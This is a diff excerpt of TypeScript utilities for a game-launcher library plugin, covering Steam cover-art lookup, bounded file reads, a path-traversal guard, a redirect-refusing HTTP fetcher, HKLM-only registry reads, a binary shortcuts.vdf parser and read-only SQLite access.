|
||||
}
|
||||
return out;
|
||||
};
|
||||
|
||||
/** Render a report for a terminal. Empty-ish when everything matched. */
|
||||
export const formatParityReport = (r: ParityReport): string => {
|
||||
const lines: string[] = [];
|
||||
lines.push(
|
||||
r.ok
|
||||
? `parity OK — ${r.matched} entries identical`
|
||||
: `parity FAILED — ${r.matched} identical, ${r.missing.length} missing, ${r.extra.length} unexpected, ${r.changed.length} changed`,
|
||||
);
|
||||
for (const e of r.missing) lines.push(` missing: ${e.id} ${e.title}`);
|
||||
for (const e of r.extra) lines.push(` extra: ${e.id} ${e.title}`);
|
||||
for (const c of r.changed) {
|
||||
lines.push(
|
||||
` changed: ${c.id} ${c.field}: ${JSON.stringify(c.before)} -> ${JSON.stringify(c.after)}`,
|
||||
);
|
||||
}
|
||||
if (r.launchersAdded.length > 0) {
|
||||
lines.push(
|
||||
` (+${r.launchersAdded.length} launcher ${r.launchersAdded.length === 1 ? "entry" : "entries"}, expected: ${r.launchersAdded
|
||||
.map((e) => e.id)
|
||||
.join(", ")})`,
|
||||
);
|
||||
}
|
||||
// Art REPRESENTATION always changes on extraction (a host-relative proxy path or an inlined
|
||||
// `data:` URL becomes a `file://` path or a CDN URL). Presence is what this harness checks, so
|
||||
// say plainly that the bytes still want a human's eyes once.
|
||||
if (r.ok) {
|
||||
lines.push(
|
||||
" note: art is compared by presence, not value — spot-check a few covers render.",
|
||||
);
|
||||
}
|
||||
return lines.join("\n");
|
||||
};
|
||||
@@ -0,0 +1,120 @@
|
||||
// Where a title's cover art lives: Steam's local caches, its per-account `grid/` overrides, and the
|
||||
// public CDN. Ported from the host scanner's art resolution (steam.rs).
|
||||
//
|
||||
// After extraction a plugin emits art VALUES and the host serves them: a `file://` URL for anything
|
||||
// on disk (the documented local-art contract — the host proxies the bytes), or an absolute CDN URL
|
||||
// the client fetches itself. `data:` URLs remain legal but are small-logo-only: inlining covers is
|
||||
// what blew the host's 2 MB body limit at 49 titles during the playnite work.
|
||||
import * as path from "node:path";
|
||||
import { isFile, listDir } from "./fs.js";
|
||||
|
||||
/** The four art slots the library model carries. */
|
||||
export type ArtKind = "portrait" | "hero" | "logo" | "header";
|
||||
|
||||
export const ART_KINDS: readonly ArtKind[] = [
|
||||
"portrait",
|
||||
"hero",
|
||||
"logo",
|
||||
"header",
|
||||
];
|
||||
|
||||
/** A `file://` URL for a local path — the shape the host's art proxy understands. */
|
||||
export const fileUrl = (p: string): string => {
|
||||
// Percent-encode, but keep the separators: the host converts this back to a path and expects the
|
||||
// structure intact. Windows drive paths become `file:///C:/…`.
|
||||
const abs = path.resolve(p);
|
||||
const posix = abs.replace(/\\/g, "/");
|
||||
const encoded = posix
|
||||
.split("/")
|
||||
.map((seg) => encodeURIComponent(seg))
|
||||
.join("/");
|
||||
return posix.startsWith("/") ? `file://${encoded}` : `file:///${encoded}`;
|
||||
};
|
||||
|
||||
/**
|
||||
* The legacy flat CDN URL for a Steam appid's art kind. Correct for the many titles Valve hasn't
|
||||
* re-hashed; newer ones serve from an unpredictable per-asset-hash path, where this 404s and the
|
||||
* client falls through to its next candidate. That degradation is intentional and pre-existing.
|
||||
*/
|
||||
export const steamCdnUrl = (appid: number, kind: ArtKind): string | undefined => {
|
||||
// A non-Steam shortcut's appid has the high bit set and is never a real store appid — the CDN
|
||||
// would only 404, so don't emit a URL that is guaranteed to fail.
|
||||
if ((appid & 0x8000_0000) !== 0) return undefined;
|
||||
const file =
|
||||
kind === "portrait"
|
||||
? "library_600x900.jpg"
|
||||
: kind === "hero"
|
||||
? "library_hero.jpg"
|
||||
: kind === "logo"
|
||||
? "logo.png"
|
||||
: "header.jpg";
|
||||
return `https://cdn.cloudflare.steamstatic.com/steam/apps/${appid}/${file}`;
|
||||
};
|
||||
|
||||
/** Filenames Steam's local `librarycache` uses per kind, in preference order (2x is sharper). */
|
||||
const localFilenames = (kind: ArtKind): string[] =>
|
||||
kind === "portrait"
|
||||
? ["library_600x900_2x.jpg", "library_600x900.jpg"]
|
||||
: kind === "hero"
|
||||
? ["library_hero.jpg"]
|
||||
: kind === "logo"
|
||||
? ["logo.png"]
|
||||
: // Steam's local cache names the header asset differently from the store CDN's
|
||||
// `header.jpg` — this trips everyone once.
|
||||
["library_header.jpg"];
|
||||
|
||||
/**
|
||||
* This kind's file under one Steam root's `appcache/librarycache/<appid>/<hash>/`, or `undefined`.
|
||||
* Steam reuses one hash dir per asset version, so there is normally exactly one candidate.
|
||||
*/
|
||||
export const findLocalArtFile = (
|
||||
root: string,
|
||||
appid: number,
|
||||
kind: ArtKind,
|
||||
): string | undefined => {
|
||||
const base = path.join(root, "appcache", "librarycache", String(appid));
|
||||
for (const hash of listDir(base)) {
|
||||
for (const name of localFilenames(kind)) {
|
||||
const p = path.join(base, hash, name);
|
||||
if (isFile(p)) return p;
|
||||
}
|
||||
}
|
||||
// Older Steam wrote the files directly under `librarycache/` with the appid in the name.
|
||||
for (const name of localFilenames(kind)) {
|
||||
const flat = path.join(root, "appcache", "librarycache", `${appid}_${name}`);
|
||||
if (isFile(flat)) return flat;
|
||||
}
|
||||
return undefined;
|
||||
};
|
||||
|
||||
/**
|
||||
* The `grid/` basenames Steam names each art kind under for an appid: portrait `<A>p`, hero
|
||||
* `<A>_hero`, logo `<A>_logo`, wide capsule `<A>` — each as `.png` then `.jpg`.
|
||||
*
|
||||
* These overrides are the **only** art a non-Steam shortcut ever has.
|
||||
*/
|
||||
export const gridFilenames = (appid: number, kind: ArtKind): string[] => {
|
||||
const base =
|
||||
kind === "portrait"
|
||||
? `${appid}p`
|
||||
: kind === "hero"
|
||||
? `${appid}_hero`
|
||||
: kind === "logo"
|
||||
? `${appid}_logo`
|
||||
: `${appid}`;
|
||||
return [`${base}.png`, `${base}.jpg`];
|
||||
};
|
||||
|
||||
/** This kind's user override under a `userdata/<id>/config/grid/` dir, or `undefined`. */
|
||||
export const findGridArtFile = (
|
||||
configDir: string,
|
||||
appid: number,
|
||||
kind: ArtKind,
|
||||
): string | undefined => {
|
||||
const grid = path.join(configDir, "grid");
|
||||
for (const name of gridFilenames(appid, kind)) {
|
||||
const p = path.join(grid, name);
|
||||
if (isFile(p)) return p;
|
||||
}
|
||||
return undefined;
|
||||
};
|
||||
@@ -0,0 +1,112 @@
|
||||
// Bounded filesystem reads and path confinement — the posture the in-host scanners established,
|
||||
// ported so a library plugin inherits it instead of re-deriving it.
|
||||
//
|
||||
// The rules here exist because a plugin reads files it does not own: a launcher's manifests, a
|
||||
// catalog cache, a `goggame-*.info` a user could have edited. None of that is hostile in the normal
|
||||
// case, and all of it is untrusted in the case that matters.
|
||||
import * as fs from "node:fs";
|
||||
import * as path from "node:path";
|
||||
|
||||
/** A launcher manifest / `.acf` / `.info`: text, small. Matches `epic.rs`'s posture. */
|
||||
export const MAX_MANIFEST_BYTES = 1024 * 1024;
|
||||
/** A binary catalog cache (Epic's `catcache.bin`, a `shortcuts.vdf`): larger, still bounded. */
|
||||
export const MAX_CACHE_BYTES = 32 * 1024 * 1024;
|
||||
|
||||
/**
|
||||
* Read a file as UTF-8, refusing anything over `max`. `undefined` on any error, a non-regular file,
|
||||
* or an over-cap file — a plugin scanning a directory must never die on one odd entry.
|
||||
*
|
||||
* The size is checked by `stat` BEFORE the read, so an enormous file costs a stat, not the memory.
|
||||
*/
|
||||
export const readTextCapped = (
|
||||
file: string,
|
||||
max = MAX_MANIFEST_BYTES,
|
||||
): string | undefined => {
|
||||
try {
|
||||
const st = fs.statSync(file);
|
||||
if (!st.isFile() || st.size === 0 || st.size > max) return undefined;
|
||||
return fs.readFileSync(file, "utf8");
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
};
|
||||
|
||||
/** Read a file as bytes, refusing anything over `max`. Same posture as {@link readTextCapped}. */
|
||||
export const readBytesCapped = (
|
||||
file: string,
|
||||
max = MAX_CACHE_BYTES,
|
||||
): Uint8Array | undefined => {
|
||||
try {
|
||||
const st = fs.statSync(file);
|
||||
if (!st.isFile() || st.size === 0 || st.size > max) return undefined;
|
||||
return new Uint8Array(fs.readFileSync(file));
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
};
|
||||
|
||||
/** Read + `JSON.parse` a capped text file. `undefined` on any read or parse failure. */
|
||||
export const readJsonCapped = <T = unknown>(
|
||||
file: string,
|
||||
max = MAX_MANIFEST_BYTES,
|
||||
): T | undefined => {
|
||||
const text = readTextCapped(file, max);
|
||||
if (text === undefined) return undefined;
|
||||
try {
|
||||
return JSON.parse(text) as T;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
};
|
||||
|
||||
/** List a directory's entry names, or `[]` if it isn't readable. */
|
||||
export const listDir = (dir: string): string[] => {
|
||||
try {
|
||||
return fs.readdirSync(dir);
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
};
|
||||
|
||||
/** Does this path exist as a directory? */
|
||||
export const isDir = (p: string): boolean => {
|
||||
try {
|
||||
return fs.statSync(p).isDirectory();
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
/** Does this path exist as a regular, non-empty file? */
|
||||
export const isFile = (p: string): boolean => {
|
||||
try {
|
||||
const st = fs.statSync(p);
|
||||
return st.isFile() && st.size > 0;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Join `rel` onto `base` **only if it cannot escape** — the port of the host's `confined_join`
|
||||
* (gog.rs), which exists because a crafted `goggame-<id>.info` could otherwise point a play task's
|
||||
* exe at an arbitrary program (security-review 2026-07-17).
|
||||
*
|
||||
* Refuses any relative path carrying a drive prefix (`C:`), a root (`/` or `\`), or a `..`
|
||||
* component — each of which `path.join` would let REPLACE or climb out of `base`. `undefined` ⇒
|
||||
* out of bounds, and the caller must refuse the launch rather than fall back to something plausible.
|
||||
*/
|
||||
export const confinedJoin = (base: string, rel: string): string | undefined => {
|
||||
if (rel === "") return undefined;
|
||||
// Normalize separators so a Windows-shaped relative path is checked on any platform (a plugin
|
||||
// may parse a Windows manifest while its tests run on Linux).
|
||||
const parts = rel.split(/[\\/]/);
|
||||
if (parts[0] === "" ) return undefined; // rooted
|
||||
if (/^[A-Za-z]:$/.test(parts[0])) return undefined; // drive prefix
|
||||
if (parts.some((p) => p === "..")) return undefined; // traversal
|
||||
const joined = path.join(base, ...parts.filter((p) => p !== "" && p !== "."));
|
||||
// Belt and braces: the component check above is the real guard, but a symlink-free string check
|
||||
// costs nothing and catches anything the split missed.
|
||||
const rootWithSep = base.endsWith(path.sep) ? base : base + path.sep;
|
||||
return joined === base || joined.startsWith(rootWithSep) ? joined : undefined;
|
||||
};
|
||||
@@ -0,0 +1,94 @@
|
||||
// The one outbound-HTTP helper a library plugin should use, carrying the host's `fetch_image`
|
||||
// posture verbatim (art.rs): http(s) only, **no redirects**, a size cap, and a short timeout.
|
||||
//
|
||||
// The no-redirect rule is the important one and it is not paranoia: a scanner fetches URLs it read
|
||||
// out of a launcher's cache — data the plugin did not author. A `3xx` chased automatically is an
|
||||
// SSRF pivot from a process running on the operator's box (`http://169.254.169.254/…`, an internal
|
||||
// service). The host learned this in the 2026-07-17 security review; a plugin fetching the same
|
||||
// class of URL inherits the same rule. A rare legitimately-redirecting CDN just yields no art.
|
||||
import { HostRequestError } from "../../errors.js";
|
||||
import { Effect } from "effect";
|
||||
|
||||
export interface FetchLimits {
|
||||
/** Hard cap on the response body. Default 8 MiB — a cover never approaches it. */
|
||||
readonly maxBytes?: number;
|
||||
/** Wall-clock timeout in ms. Default 10 000. */
|
||||
readonly timeoutMs?: number;
|
||||
}
|
||||
|
||||
const DEFAULT_MAX = 8 * 1024 * 1024;
|
||||
const DEFAULT_TIMEOUT = 10_000;
|
||||
|
||||
export interface FetchedBytes {
|
||||
readonly bytes: Uint8Array;
|
||||
readonly contentType: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* GET an `http(s)` URL under the posture above. Fails with {@link HostRequestError} on any non-2xx,
|
||||
* a redirect, an over-cap body, a timeout, or a non-http(s) scheme.
|
||||
*
|
||||
* Most scanners never need this: they emit CDN URLs and let the CLIENT fetch them, which is both
|
||||
* faster and keeps the host out of the loop. Reach for it only when a store's art requires an API
|
||||
* lookup the client cannot do (GOG's product API, Microsoft's display catalog).
|
||||
*/
|
||||
export const fetchBytes = (
|
||||
url: string,
|
||||
limits: FetchLimits = {},
|
||||
): Effect.Effect<FetchedBytes, HostRequestError> =>
|
||||
Effect.tryPromise({
|
||||
try: async (): Promise<FetchedBytes> => {
|
||||
if (!/^https?:\/\//i.test(url)) {
|
||||
throw new Error("only http(s) URLs may be fetched");
|
||||
}
|
||||
const maxBytes = limits.maxBytes ?? DEFAULT_MAX;
|
||||
const signal = AbortSignal.timeout(limits.timeoutMs ?? DEFAULT_TIMEOUT);
|
||||
// `redirect: "manual"` rather than "error": we want to SEE the 3xx and report it as a
|
||||
// refusal, not have fetch throw something opaque.
|
||||
const res = await fetch(url, { redirect: "manual", signal });
|
||||
if (res.status >= 300 && res.status < 400) {
|
||||
throw new Error(`refusing to follow a ${res.status} redirect`);
|
||||
}
|
||||
if (!res.ok) throw new Error(`HTTP ${res.status}`);
|
||||
// Trust Content-Length when it is there (cheap rejection), but still bound the read: a
|
||||
// hostile server can lie about it or omit it entirely.
|
||||
const declared = Number(res.headers.get("content-length"));
|
||||
if (Number.isFinite(declared) && declared > maxBytes) {
|
||||
throw new Error(`body larger than ${maxBytes} bytes`);
|
||||
}
|
||||
const buf = new Uint8Array(await res.arrayBuffer());
|
||||
if (buf.byteLength === 0) throw new Error("empty body");
|
||||
if (buf.byteLength > maxBytes) {
|
||||
throw new Error(`body larger than ${maxBytes} bytes`);
|
||||
}
|
||||
return {
|
||||
bytes: buf,
|
||||
contentType: res.headers.get("content-type") ?? "image/jpeg",
|
||||
};
|
||||
},
|
||||
catch: (cause) =>
|
||||
new HostRequestError({
|
||||
method: "GET",
|
||||
path: url,
|
||||
cause,
|
||||
}),
|
||||
});
|
||||
|
||||
/** {@link fetchBytes}, JSON-decoded. Same posture; use for a store's public product API. */
|
||||
export const fetchJson = <T = unknown>(
|
||||
url: string,
|
||||
limits: FetchLimits = {},
|
||||
): Effect.Effect<T, HostRequestError> =>
|
||||
fetchBytes(url, limits).pipe(
|
||||
Effect.flatMap((r) =>
|
||||
Effect.try({
|
||||
try: () => JSON.parse(new TextDecoder().decode(r.bytes)) as T,
|
||||
catch: (cause) =>
|
||||
new HostRequestError({
|
||||
method: "GET",
|
||||
path: url,
|
||||
cause,
|
||||
}),
|
||||
}),
|
||||
),
|
||||
);
|
||||
@@ -0,0 +1,61 @@
|
||||
// The launcher-file parsing toolkit: what the six in-host scanners hand-rolled, hoisted so a
|
||||
// library plugin is its scan function and nothing else.
|
||||
//
|
||||
// Everything here is total — a missing launcher, a truncated file, a schema drift in a launcher
|
||||
// upgrade all degrade to "no titles from this source", never to a thrown error. A scanner that dies
|
||||
// on one odd file takes the user's whole library with it.
|
||||
export {
|
||||
ART_KINDS,
|
||||
type ArtKind,
|
||||
fileUrl,
|
||||
findGridArtFile,
|
||||
findLocalArtFile,
|
||||
gridFilenames,
|
||||
steamCdnUrl,
|
||||
} from "./art.js";
|
||||
export {
|
||||
confinedJoin,
|
||||
isDir,
|
||||
isFile,
|
||||
listDir,
|
||||
MAX_CACHE_BYTES,
|
||||
MAX_MANIFEST_BYTES,
|
||||
readBytesCapped,
|
||||
readJsonCapped,
|
||||
readTextCapped,
|
||||
} from "./fs.js";
|
||||
export {
|
||||
type FetchedBytes,
|
||||
type FetchLimits,
|
||||
fetchBytes,
|
||||
fetchJson,
|
||||
} from "./http.js";
|
||||
export {
|
||||
parseRegQuery,
|
||||
regQueryValue,
|
||||
regQueryValues,
|
||||
regSubKeys,
|
||||
type RegValue,
|
||||
validRegKey,
|
||||
} from "./registry.js";
|
||||
export { openReadOnly, type ReadOnlyDb, withReadOnlyDb } from "./sqlite.js";
|
||||
export {
|
||||
crc32,
|
||||
parseShortcuts,
|
||||
type Shortcut,
|
||||
shortcutAppId,
|
||||
shortcutGameId,
|
||||
} from "./shortcuts.js";
|
||||
export {
|
||||
steamLibraryDirs,
|
||||
steamRoots,
|
||||
steamUserConfigDirs,
|
||||
} from "./steam-root.js";
|
||||
export {
|
||||
type AppManifest,
|
||||
isSteamTool,
|
||||
parseAppManifest,
|
||||
vdfField,
|
||||
vdfPaths,
|
||||
vdfValue,
|
||||
} from "./vdf.js";
|
||||
@@ -0,0 +1,94 @@
|
||||
// Windows registry reads by spawning `reg.exe query` — dependency-free, and (the part that
|
||||
// matters) it works from the scripting runner's LocalService account.
|
||||
//
|
||||
// **HKLM only, by design.** The runner runs as `NT AUTHORITY\LocalService` on Windows, which has no
|
||||
// user profile: HKCU is not the operator's hive there, it is LocalService's own — so a plugin that
|
||||
// read HKCU would silently see an empty registry rather than the user's launcher config. Every
|
||||
// launcher fact a scanner needs (Steam's InstallPath, GOG's game list) lives under HKLM
|
||||
// `WOW6432Node` anyway. Asking for HKCU is a bug, so this refuses it outright.
|
||||
import { spawnSync } from "node:child_process";
|
||||
|
||||
/** One `reg.exe query` value row. */
|
||||
export interface RegValue {
|
||||
readonly name: string;
|
||||
/** `REG_SZ`, `REG_DWORD`, … */
|
||||
readonly type: string;
|
||||
readonly data: string;
|
||||
}
|
||||
|
||||
const HKLM = "HKLM\\";
|
||||
|
||||
/** Is this a key path this module will touch? See the module docs on why HKLM only. */
|
||||
export const validRegKey = (key: string): boolean =>
|
||||
key.startsWith(HKLM) &&
|
||||
key.length > HKLM.length &&
|
||||
key.length <= 260 &&
|
||||
!key.includes("..") &&
|
||||
// `reg.exe` takes the key as one argv element (no shell), but keep the charset tame anyway so a
|
||||
// malformed key can never turn into a switch.
|
||||
!key.startsWith("/") &&
|
||||
!/[\r\n\0"]/.test(key);
|
||||
|
||||
const run = (args: string[]): string | undefined => {
|
||||
if (process.platform !== "win32") return undefined;
|
||||
const r = spawnSync("reg.exe", args, {
|
||||
encoding: "utf8",
|
||||
windowsHide: true,
|
||||
// A registry read is instant; a hang means something is badly wrong and a scan must not
|
||||
// block on it forever.
|
||||
timeout: 10_000,
|
||||
maxBuffer: 4 * 1024 * 1024,
|
||||
});
|
||||
if (r.status !== 0 || typeof r.stdout !== "string") return undefined;
|
||||
return r.stdout;
|
||||
};
|
||||
|
||||
/**
|
||||
* The values directly under one HKLM key. `[]` when the key is absent, unreadable, or this is not
|
||||
* Windows — a missing launcher is the normal case, never an error.
|
||||
*/
|
||||
export const regQueryValues = (key: string): RegValue[] => {
|
||||
if (!validRegKey(key)) return [];
|
||||
const out = run(["query", key]);
|
||||
if (out === undefined) return [];
|
||||
return parseRegQuery(out);
|
||||
};
|
||||
|
||||
/** One named value under an HKLM key, or `undefined`. */
|
||||
export const regQueryValue = (key: string, name: string): string | undefined =>
|
||||
regQueryValues(key).find((v) => v.name.toLowerCase() === name.toLowerCase())
|
||||
?.data;
|
||||
|
||||
/** The immediate SUBKEY paths under one HKLM key (GOG lists one subkey per installed game). */
|
||||
export const regSubKeys = (key: string): string[] => {
|
||||
if (!validRegKey(key)) return [];
|
||||
const out = run(["query", key]);
|
||||
if (out === undefined) return [];
|
||||
const prefix = `${key.toLowerCase()}\\`;
|
||||
return out
|
||||
.split(/\r?\n/)
|
||||
.map((l) => l.trim())
|
||||
.filter((l) => l.toLowerCase().startsWith(prefix))
|
||||
.filter((l) => !l.slice(key.length + 1).includes("\\"));
|
||||
};
|
||||
|
||||
/**
|
||||
* Parse `reg.exe query` output rows: ` <name> <TYPE> <data>`, separated by runs of
|
||||
* whitespace. Data may itself contain spaces (a path), so only the first two columns are split off.
|
||||
*
|
||||
* Exported for tests — the format is stable but this is exactly the kind of thing that quietly
|
||||
* breaks, and a plugin's tests can pin it without a Windows box.
|
||||
*/
|
||||
export const parseRegQuery = (stdout: string): RegValue[] => {
|
||||
const out: RegValue[] = [];
|
||||
for (const raw of stdout.split(/\r?\n/)) {
|
||||
// Value rows are indented; the key path header is not.
|
||||
if (!/^\s/.test(raw)) continue;
|
||||
const line = raw.trim();
|
||||
if (line === "") continue;
|
||||
const m = line.match(/^(.*?)\s{2,}(REG_[A-Z_]+)\s{2,}([\s\S]*)$/);
|
||||
if (!m) continue;
|
||||
out.push({ name: m[1], type: m[2], data: m[3] });
|
||||
}
|
||||
return out;
|
||||
};
|
||||
@@ -0,0 +1,160 @@
|
||||
// Steam's BINARY `shortcuts.vdf` — the user's "Add a Non-Steam Game to My Library" entries.
|
||||
//
|
||||
// Ported from the host's in-tree scanner (crates/punktfunk-host/src/library/steam.rs), together
|
||||
// with its unit tests, which are the real specification here: the format is undocumented, and the
|
||||
// two id derivations below (`shortcutAppId`, `shortcutGameId`) are the difference between a
|
||||
// shortcut that launches and one that silently does nothing.
|
||||
//
|
||||
// Format: a 1-byte type tag (`0x00` nested map, `0x01` string, `0x02` int32, `0x07` uint64), a
|
||||
// NUL-terminated key, then a type-specific payload; `0x08` closes the current map. The whole file is
|
||||
// one `shortcuts` map whose children (keyed "0", "1", …) are the individual shortcuts.
|
||||
//
|
||||
// Lenient and total by design: a truncated file or an unrecognized tag stops the walk and returns
|
||||
// whatever parsed so far. A user's shortcuts file is not something to be strict about.
|
||||
|
||||
export interface Shortcut {
|
||||
/** The 32-bit shortcut appid — always high-bit set. Keys the entry id and its `grid/` art. */
|
||||
readonly appid: number;
|
||||
readonly name: string;
|
||||
/** The shortcut's target, as Steam stores it (quoted, possibly with trailing arguments). */
|
||||
readonly exe: string;
|
||||
readonly hidden: boolean;
|
||||
}
|
||||
|
||||
/** A cursor over the buffer — the ported code's `pos` threaded explicitly. */
|
||||
interface Cursor {
|
||||
pos: number;
|
||||
}
|
||||
|
||||
/** Read a NUL-terminated UTF-8 string, advancing past the terminator. `undefined` if unterminated. */
|
||||
const readCStr = (buf: Uint8Array, c: Cursor): string | undefined => {
|
||||
const start = c.pos;
|
||||
let end = start;
|
||||
while (end < buf.length && buf[end] !== 0) end++;
|
||||
if (end >= buf.length) return undefined;
|
||||
const s = new TextDecoder("utf-8").decode(buf.subarray(start, end));
|
||||
c.pos = end + 1;
|
||||
return s;
|
||||
};
|
||||
|
||||
/** Read a little-endian int32, advancing 4 bytes. `undefined` if fewer than 4 remain. */
|
||||
const readI32 = (buf: Uint8Array, c: Cursor): number | undefined => {
|
||||
if (c.pos + 4 > buf.length) return undefined;
|
||||
const v = new DataView(buf.buffer, buf.byteOffset + c.pos, 4).getInt32(0, true);
|
||||
c.pos += 4;
|
||||
return v;
|
||||
};
|
||||
|
||||
/** Skip a nested map's contents (positioned just after its key) up to and including its `0x08`. */
|
||||
const skipMap = (buf: Uint8Array, c: Cursor): boolean => {
|
||||
for (;;) {
|
||||
if (c.pos >= buf.length) return false;
|
||||
const tag = buf[c.pos];
|
||||
c.pos += 1;
|
||||
if (tag === 0x08) return true;
|
||||
if (readCStr(buf, c) === undefined) return false;
|
||||
if (tag === 0x00) {
|
||||
if (!skipMap(buf, c)) return false;
|
||||
} else if (tag === 0x01) {
|
||||
if (readCStr(buf, c) === undefined) return false;
|
||||
} else if (tag === 0x02) {
|
||||
c.pos += 4;
|
||||
} else if (tag === 0x07) {
|
||||
c.pos += 8;
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/** Parse one shortcut's fields (positioned just after its index key) up to the map-closing `0x08`. */
|
||||
const parseOne = (buf: Uint8Array, c: Cursor): Shortcut | undefined => {
|
||||
let appid: number | undefined;
|
||||
let name = "";
|
||||
let exe = "";
|
||||
let hidden = false;
|
||||
for (;;) {
|
||||
if (c.pos >= buf.length) return undefined;
|
||||
const tag = buf[c.pos];
|
||||
c.pos += 1;
|
||||
if (tag === 0x08) break;
|
||||
const key = readCStr(buf, c)?.toLowerCase();
|
||||
if (key === undefined) return undefined;
|
||||
if (tag === 0x00) {
|
||||
if (!skipMap(buf, c)) return undefined; // nested map (e.g. `tags`) — not needed
|
||||
} else if (tag === 0x01) {
|
||||
const val = readCStr(buf, c);
|
||||
if (val === undefined) return undefined;
|
||||
if (key === "appname") name = val;
|
||||
else if (key === "exe") exe = val;
|
||||
} else if (tag === 0x02) {
|
||||
const val = readI32(buf, c);
|
||||
if (val === undefined) return undefined;
|
||||
if (key === "appid") appid = val >>> 0;
|
||||
else if (key === "ishidden") hidden = val !== 0;
|
||||
} else if (tag === 0x07) {
|
||||
c.pos += 8; // uint64 — skip
|
||||
} else {
|
||||
return undefined; // unknown tag: payload size unknown, can't continue safely
|
||||
}
|
||||
}
|
||||
if (name.trim() === "") return undefined; // nothing worth showing
|
||||
// Prefer the stored appid; fall back to Steam's derivation when it's absent (0 / missing).
|
||||
const id = appid && appid !== 0 ? appid : shortcutAppId(exe, name);
|
||||
return { appid: id, name, exe, hidden };
|
||||
};
|
||||
|
||||
/** Parse a binary `shortcuts.vdf` into its shortcuts. Never throws. */
|
||||
export const parseShortcuts = (buf: Uint8Array): Shortcut[] => {
|
||||
const out: Shortcut[] = [];
|
||||
const c: Cursor = { pos: 0 };
|
||||
// Enter the top-level map (`<0x00> "shortcuts" <NUL>`); tolerate any key name.
|
||||
if (buf[0] !== 0x00) return out;
|
||||
c.pos = 1;
|
||||
if (readCStr(buf, c) === undefined) return out;
|
||||
while (c.pos < buf.length) {
|
||||
const tag = buf[c.pos];
|
||||
c.pos += 1;
|
||||
if (tag !== 0x00) break; // `0x08` (end of shortcuts) or anything unexpected
|
||||
if (readCStr(buf, c) === undefined) break; // the index key ("0", "1", …)
|
||||
const sc = parseOne(buf, c);
|
||||
if (!sc) break;
|
||||
out.push(sc);
|
||||
}
|
||||
return out;
|
||||
};
|
||||
|
||||
/** Standard reflected (IEEE) CRC-32 — what Steam hashes a shortcut's `exe + name` with. */
|
||||
export const crc32 = (data: Uint8Array): number => {
|
||||
let crc = 0xffff_ffff;
|
||||
for (const byte of data) {
|
||||
crc ^= byte;
|
||||
for (let i = 0; i < 8; i++) {
|
||||
const mask = -(crc & 1);
|
||||
crc = (crc >>> 1) ^ (0xedb8_8320 & mask);
|
||||
}
|
||||
}
|
||||
return (~crc) >>> 0;
|
||||
};
|
||||
|
||||
/**
|
||||
* The 32-bit appid Steam derives for a shortcut from its target+name — `crc32(exe + name)` with the
|
||||
* high bit set. Only used when `shortcuts.vdf` omits the stored `appid` (very old Steam); modern
|
||||
* Steam writes it and the stored value is preferred.
|
||||
*
|
||||
* The high bit is load-bearing downstream: it is how a shortcut is told apart from a real store
|
||||
* appid, which is what makes the CDN art fetch skippable for shortcuts (they only ever have `grid/`
|
||||
* overrides).
|
||||
*/
|
||||
export const shortcutAppId = (exe: string, name: string): number =>
|
||||
(crc32(new TextEncoder().encode(exe + name)) | 0x8000_0000) >>> 0;
|
||||
|
||||
/**
|
||||
* The 64-bit game id `steam://rungameid/` needs in order to launch a non-Steam shortcut: high dword
|
||||
* = the 32-bit shortcut appid, low dword = the shortcut marker `0x02000000`.
|
||||
*
|
||||
* Handing `rungameid` the bare 32-bit appid does NOT launch a shortcut — it must be this composed
|
||||
* id. Returned as a decimal string because it exceeds 2^53 and would lose precision as a `number`.
|
||||
*/
|
||||
export const shortcutGameId = (appid: number): string =>
|
||||
((BigInt(appid >>> 0) << 32n) | 0x0200_0000n).toString();
|
||||
@@ -0,0 +1,68 @@
|
||||
// Read-only SQLite over `bun:sqlite` — for launcher databases a plugin must never disturb.
|
||||
//
|
||||
// Lutris' `pga.db` is the motivating case: it belongs to a running application, and a scanner that
|
||||
// opened it read-write could take a write lock, create `-wal`/`-shm` sidecars next to it, or (worst
|
||||
// case) be blamed for a corrupted library. `immutable=1` promises the file will not change while
|
||||
// open, which makes Bun skip locking entirely — the strictest possible "look, don't touch".
|
||||
import { Database } from "bun:sqlite";
|
||||
import { isFile } from "./fs.js";
|
||||
|
||||
export interface ReadOnlyDb {
|
||||
/** Run a query and return its rows. Returns `[]` rather than throwing on a bad query. */
|
||||
readonly query: <T = Record<string, unknown>>(
|
||||
sql: string,
|
||||
...params: unknown[]
|
||||
) => T[];
|
||||
readonly close: () => void;
|
||||
}
|
||||
|
||||
/**
|
||||
* Open a launcher database read-only and immutably. `undefined` if the file is absent or not a
|
||||
* database — the normal "this launcher isn't installed" case, not an error.
|
||||
*
|
||||
* Always `close()` when done (or use {@link withReadOnlyDb}, which does it for you).
|
||||
*/
|
||||
export const openReadOnly = (file: string): ReadOnlyDb | undefined => {
|
||||
if (!isFile(file)) return undefined;
|
||||
let db: Database;
|
||||
try {
|
||||
// `readonly` alone still takes locks and can spawn WAL sidecars; `immutable=1` is what makes
|
||||
// this a pure read. It is safe here precisely because a scan is a point-in-time snapshot —
|
||||
// if the launcher writes mid-scan we simply pick it up on the next sync.
|
||||
db = new Database(`file:${encodeURI(file)}?immutable=1`, { readonly: true });
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
return {
|
||||
query: <T = Record<string, unknown>>(sql: string, ...params: unknown[]) => {
|
||||
try {
|
||||
return db.query(sql).all(...(params as never[])) as T[];
|
||||
} catch {
|
||||
// A schema drift (a renamed column in a launcher upgrade) must degrade to "no
|
||||
// titles from this source", never take the whole plugin down.
|
||||
return [] as T[];
|
||||
}
|
||||
},
|
||||
close: () => {
|
||||
try {
|
||||
db.close();
|
||||
} catch {
|
||||
/* already closed */
|
||||
}
|
||||
},
|
||||
};
|
||||
};
|
||||
|
||||
/** Open, use, and always close. Returns `undefined` when the database isn't there. */
|
||||
export const withReadOnlyDb = <T>(
|
||||
file: string,
|
||||
use: (db: ReadOnlyDb) => T,
|
||||
): T | undefined => {
|
||||
const db = openReadOnly(file);
|
||||
if (!db) return undefined;
|
||||
try {
|
||||
return use(db);
|
||||
} finally {
|
||||
